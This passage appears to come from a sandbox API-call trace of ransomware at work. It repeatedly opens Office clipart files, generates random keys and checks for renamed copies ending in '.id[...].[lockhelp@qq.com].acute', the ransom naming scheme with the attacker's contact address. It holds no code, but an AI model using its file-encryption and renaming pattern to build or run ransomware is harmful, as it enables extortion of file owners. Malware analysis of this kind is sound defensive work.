hTemplateFile=0x0) returned 0xffffffff [0275.014] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.014] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2228) returned 1 [0275.014] CloseHandle (hObject=0x310) returned 1 [0275.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x20 [0275.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.014] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.015] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2300) returned 1 [0275.015] CloseHandle (hObject=0x310) returned 1 [0275.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x20 [0275.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.015] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.015] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2300) returned 1 [0275.015] CloseHandle (hObject=0x310) returned 1 [0275.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x20 [0275.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.015] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.016] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2080) returned 1 [0275.016] CloseHandle (hObject=0x310) returned 1 [0275.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x20 [0275.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.016] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.016] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2080) returned 1 [0275.016] CloseHandle (hObject=0x310) returned 1 [0275.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x20 [0275.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.017] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.017] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2004) returned 1 [0275.017] CloseHandle (hObject=0x310) returned 1 [0275.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x20 [0275.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.017] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.018] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2020) returned 1 [0275.018] CloseHandle (hObject=0x310) returned 1 [0275.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x20 [0275.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.018] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.018] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2404) returned 1 [0275.018] CloseHandle (hObject=0x310) returned 1 [0275.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x20 [0275.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.019] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.019] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2052) returned 1 [0275.019] CloseHandle (hObject=0x310) returned 1 [0275.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x20 [0275.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.019] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.019] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2232) returned 1 [0275.019] CloseHandle (hObject=0x310) returned 1 [0275.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x20 [0275.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.020] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.020] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1804) returned 1 [0275.020] CloseHandle (hObject=0x310) returned 1 [0275.020] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x20 [0275.020] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.020] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.020] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.021] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1888) returned 1 [0275.021] CloseHandle (hObject=0x310) returned 1 [0275.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x20 [0275.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.021] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.021] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.021] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3796) returned 1 [0275.021] CloseHandle (hObject=0x310) returned 1 [0275.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x20 [0275.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.023] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.023] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2024) returned 1 [0275.023] CloseHandle (hObject=0x310) returned 1 [0275.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x20 [0275.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.024] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.026] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2084) returned 1 [0275.026] CloseHandle (hObject=0x310) returned 1 [0275.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x20 [0275.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.026] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.027] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1448) returned 1 [0275.027] CloseHandle (hObject=0x310) returned 1 [0275.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x20 [0275.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.027] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.028] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2996) returned 1 [0275.028] CloseHandle (hObject=0x310) returned 1 [0275.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x20 [0275.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 